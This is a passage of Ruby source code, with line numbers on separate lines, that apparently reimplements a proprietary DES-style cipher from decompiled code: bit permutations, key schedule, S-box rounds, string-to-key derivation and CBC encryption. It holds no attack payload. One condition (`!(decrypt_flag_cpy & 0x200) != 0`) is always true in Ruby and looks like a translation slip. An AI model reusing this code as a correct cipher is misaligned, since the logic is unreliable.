if (v3 & 0x200000) != 0
737
v5 |= 0x200000
738
end
739
if (v4 & 0x20000000) != 0
740
v5 |= 0x400000
741
end
742
if (v3 & 0x20000000) != 0
743
v5 |= 0x800000
744
end
745
if (v4 & 0x10) != 0
746
v5 |= 0x1000000
747
end
748
if (v3 & 0x10) != 0
749
v5 |= 0x2000000
750
end
751
if (v4 & 0x1000) != 0
752
v5 |= 0x4000000
753
end
754
if (v3 & 0x1000) != 0
755
v5 |= 0x8000000
756
end
757
if (v4 & 0x100000) != 0
758
v5 |= 0x10000000
759
end
760
if (v3 & 0x100000) != 0
761
v5 |= 0x20000000
762
end
763
if (v4 & 0x10000000) != 0
764
v5 |= 0x40000000
765
end
766
if (v3 & 0x10000000) != 0
767
v5 |= 0x80000000
768
end
769
if (v4 & 8) != 0
770
v6 = 1
771
end
772
if (v3 & 8) != 0
773
v6 |= 2
774
end
775
if (v4 & 0x800) != 0
776
v6 |= 4
777
end
778
if (v3 & 0x800) != 0
779
v6 |= 8
780
end
781
if (v4 & 0x80000) != 0
782
v6 |= 0x10
783
end
784
if (v3 & 0x80000) != 0
785
v6 |= 0x20
786
end
787
if (v4 & 0x8000000) != 0
788
v6 |= 0x40
789
end
790
if (v3 & 0x8000000) != 0
791
v6 |= 0x80
792
end
793
if (v4 & 4) != 0
794
v6 |= 0x100
795
end
796
if (v3 & 4) != 0
797
v6 |= 0x200
798
end
799
if (v4 & 0x400) != 0
800
v6 |= 0x400
801
end
802
if (v3 & 0x400) != 0
803
v6 |= 0x800
804
end
805
if (v4 & 0x40000) != 0
806
v6 |= 0x1000
807
end
808
if (v3 & 0x40000) != 0
809
v6 |= 0x2000
810
end
811
if (v4 & 0x4000000) != 0
812
v6 |= 0x4000
813
end
814
if (v3 & 0x4000000) != 0
815
v6 |= 0x8000
816
end
817
if (v4 & 2) != 0
818
v6 |= 0x10000
819
end
820
if (v3 & 2) != 0
821
v6 |= 0x20000
822
end
823
if (v4 & 0x200) != 0
824
v6 |= 0x40000
825
end
826
if (v3 & 0x200) != 0
827
v6 |= 0x80000
828
end
829
if (v4 & 0x20000) != 0
830
v6 |= 0x100000
831
end
832
if (v3 & 0x20000) != 0
833
v6 |= 0x200000
834
end
835
if (v4 & 0x2000000) != 0
836
v6 |= 0x400000
837
end
838
if (v3 & 0x2000000) != 0
839
v6 |= 0x800000
840
end
841
if (v4 & 1) != 0
842
v6 |= 0x1000000
843
end
844
if (v3 & 1) != 0
845
v6 |= 0x2000000
846
end
847
if (v4 & 0x100) != 0
848
v6 |= 0x4000000
849
end
850
if (v3 & 0x100) != 0
851
v6 |= 0x8000000
852
end
853
if (v4 & 0x10000) != 0
854
v6 |= 0x10000000
855
end
856
if (v3 & 0x10000) != 0
857
v6 |= 0x20000000
858
end
859
if (v4 & 0x1000000) != 0
860
v6 |= 0x40000000
861
end
862
if (v3 & 0x1000000) != 0
863
v6 |= 0x80000000
864
end
865
866
# Create return tuple
867
ret_block = Array.new
868
ret_block.push v5
869
ret_block.push v6
870
ret_block
871
end
872
873
def load(a1)
874
a2 = Array.new(8, 0)
875
v3 = a1
876
a2[0] = a1 & 0xff
877
v3 >>= 3
878
a2[1] = v3 & 0xff
879
v3 >>= 4
880
a2[2] = v3 & 0xff
881
v3 >>= 4
882
a2[3] = v3 & 0xff
883
v3 >>= 4
884
a2[4] = v3 & 0xff
885
v3 >>= 4
886
a2[5] = v3 & 0xff
887
v3 >>= 4
888
a2[6] = v3 & 0xff
889
v3 >>= 4
890
a2[7] = v3 & 0xff
891
a2[0] = (a2[0] * 2) & 0xff
892
a2[7] |= (16 * a2[0]) & 0xff
893
v3 >>= 4
894
a2[0] |= v3 & 0xff
895
896
data_block = a2.pack("c*").unpack("V*")
897
data_block[0] &= 0x3F3F3F3F
898
data_block[1] &= 0x3F3F3F3F
899
data_block
900
end
901
902
def desx(data_block, ksch, idx)
903
ksch = ksch.pack("V*")
904
ksch = ksch.unpack("Q<*")
905
key_block = ksch[idx]
906
907
data_block_ptr = data_block.pack("V*")
908
data_block_ptr = data_block_ptr.unpack1("Q<*")
909
data_block_ptr ^= key_block
910
911
counter = 1
912
data_block_byte_ptr = [data_block_ptr].pack('Q<')
913
left = SBOXES[data_block_byte_ptr[0].ord]
914
right = SBOXES[data_block_byte_ptr[0].ord + (counter << 6)]
915
counter += 1
916
left ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
917
counter += 1
918
right ^= SBOXES[data_block_byte_ptr[1].ord + (counter << 6)]
919
counter += 1
920
left ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
921
counter += 1
922
right ^= SBOXES[data_block_byte_ptr[2].ord + (counter << 6)]
923
counter += 1
924
left ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
925
counter += 1
926
right ^= SBOXES[data_block_byte_ptr[3].ord + (counter << 6)]
927
counter += 1
928
left ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
929
counter += 1
930
right ^= SBOXES[data_block_byte_ptr[4].ord + (counter << 6)]
931
counter += 1
932
left ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
933
counter += 1
934
right ^= SBOXES[data_block_byte_ptr[5].ord + (counter << 6)]
935
counter += 1
936
left ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
937
counter += 1
938
right ^= SBOXES[data_block_byte_ptr[6].ord + (counter << 6)]
939
counter += 1
940
left ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
941
counter += 1
942
right ^= SBOXES[data_block_byte_ptr[7].ord + (counter << 6)]
943
944
# Create return tuple
945
ret_block = Array.new
946
ret_block.push left
947
ret_block.push right
948
ret_block
949
end
950
951
def store(data_block)
952
a1 = data_block.pack("V*")
953
val = 8 * (16 * (16 * (16 * (16 * (16 * (16 * a1[7].ord | a1[6].ord) | a1[5].ord) | a1[4].ord) | a1[3].ord) | a1[2].ord) | a1[1].ord) | a1[0].ord >> 1
954
val & 0xffffffff
955
end
956
957
def sbox_xors(data_block_in, ksch_arg, decrypt_flag)
958
decrypt_flag_cpy = decrypt_flag
959
if (decrypt_flag & 0x100) != 0
960
data_block_0 = data_block_in
961
else
962
data_block_0 = rotate_block_init(data_block_in)
963
end
964
965
encrypt_flag = (decrypt_flag_cpy & 1) == 0
966
ti_block_0 = load(data_block_0[0])
967
ti_block_1 = load(data_block_0[1])
968
969
for i in 0..15
970
ti_cpy = ti_block_1
971
if encrypt_flag
972
ti_block_1 = desx(ti_block_1, ksch_arg, i)
973
else
974
ti_block_1 = desx(ti_block_1, ksch_arg, 15 - i)
975
end
976
ti_block_1[0] ^= ti_block_0[0]
977
ti_block_1[1] ^= ti_block_0[1]
978
ti_block_0 = ti_cpy
979
end
980
981
data_block_0[0] = store(ti_block_1)
982
data_block_0[1] = store(ti_block_0)
983
984
if (!(decrypt_flag_cpy & 0x200) != 0)
985
rotate_block_final(data_block_0)
986
else
987
data_block_0
988
end
989
end
990
991
def gen_key_unchecked(key)
992
idx = 0
993
key_arr = key.unpack("V*")
994
key_sch = Array.new
995
for i in 0..15
996
idx += ROTATIONS[i].ord
997
v6 = 0
998
v5 = 0
999
v14 = 0
1000
for j in 0..47
1001
pc2_p1 = (idx + PC2[j].ord) % 0x1C
1002
if PC2[j].ord > 0x1B
1003
pc2_p2 = 0x1c
1004
else
1005
pc2_p2 = 0
1006
end
1007
v13 = PC1[pc2_p1 + pc2_p2].ord
1008
if v13 <= 31
1009
v12 = 0
1010
else
1011
v12 = 1
1012
v13 -= 32
1013
end
1014
if j <= 23
1015
v10 = j
1016
else
1017
v14 = 1
1018
v10 = j - 24
1019
end
1020
v11 = 8 * (v10 / 6) + v10 % 6
1021
key_and = key_arr[v12] & SBOX_BYTE_ORDER[v13]
1022
1023
if (key_and != 0)
1024
if v14 == 1
1025
v6 |= SBOX_BYTE_ORDER[v11]
1026
else
1027
v5 |= SBOX_BYTE_ORDER[v11]
1028
end
1029
end
1030
end
1031
key_sch.push v5
1032
key_sch.push v6
1033
end
1034
key_sch
1035
end
1036
1037
def des_string_to_key(key_buf_str)
1038
des_keysch_0 = gen_key_unchecked(INIT_DES_KEY_0)
1039
des_keysch_1 = gen_key_unchecked(INIT_DES_KEY_1)
1040
1041
temp_key1 = Array.new(8, 0)
1042
temp_key2 = Array.new(8, 0)
1043
1044
key_buf_bytes = key_buf_str.unpack("c*")
1045
1046
counter = 0
1047
key_buf_str_len = key_buf_bytes.length - 1
1048
for i in 0..key_buf_str_len
1049
counter %= 8
1050
temp_key1[counter] |= key_buf_bytes[i]
1051
temp_key2[counter] |= key_buf_bytes[i]
1052
1053
data_block = temp_key1.pack("c*").unpack("V*")
1054
temp_key1 = sbox_xors(data_block, des_keysch_0, 0)
1055
temp_key1 = temp_key1.pack("V*").unpack("c*")
1056
1057
data_block = temp_key2.pack("c*").unpack("V*")
1058
temp_key2 = sbox_xors(data_block, des_keysch_1, 0)
1059
temp_key2 = temp_key2.pack("V*").unpack("c*")
1060
counter += 1
1061
end
1062
1063
# Prepare the return array
1064
ret_key = Array.new(8, 0)
1065
for j in 0..7
1066
ret_key[j] = temp_key2[j] ^ temp_key1[j]
1067
end
1068
ret_key.pack("c*")
1069
end
1070
1071
def des_cbc(input_buf, key_sch, iv, decrypt_flag)
1072
output_block_arr = Array.new
1073
blocks = input_buf.unpack("Q<*")
1074
for i in 0..blocks.length - 1
1075
1076
current_block = blocks[i]
1077
if decrypt_flag == 1
1078
cur_block = current_block
1079
else
1080
current_block ^= iv
1081
end
1082
1083
current_block_tuple = [current_block].pack("Q<").unpack("V*")
1084
output_block_tuple = sbox_xors(current_block_tuple, key_sch, decrypt_flag)
1085
output_block = output_block_tuple.pack("V*").unpack1("Q<")
1086
output_block_arr.push output_block
1087
1088
if decrypt_flag == 1
1089
output_block ^= iv
1090
iv = cur_block
1091
else
1092
iv = output_block
1093
end
1094
end
1095
1096
output_block_arr.pack("Q<*")
1097
end
1098
1099
def des_crypt_func(binary_buf, key_buf, decrypt_flag)
1100
des_key = des_string_to_key(key_buf)
1101
des_keysch = gen_key_unchecked(des_key)
1102
1103
temp_enc_buf = Array.new(8 * ((binary_buf.length + 7) >> 3) + 8, 0)
1104
binary_buf_str = binary_buf.unpack('c*')
1105
1106
for j in 0..binary_buf_str.length - 1
1107
temp_enc_buf[j] = binary_buf_str[j]
1108
end
1109
1110
temp_enc_buf = temp_enc_buf.pack('c*')
1111
output_buf = des_cbc(temp_enc_buf, des_keysch, 0, decrypt_flag)
1112
output_buf
1113
end
1114
1115
end
1116
1117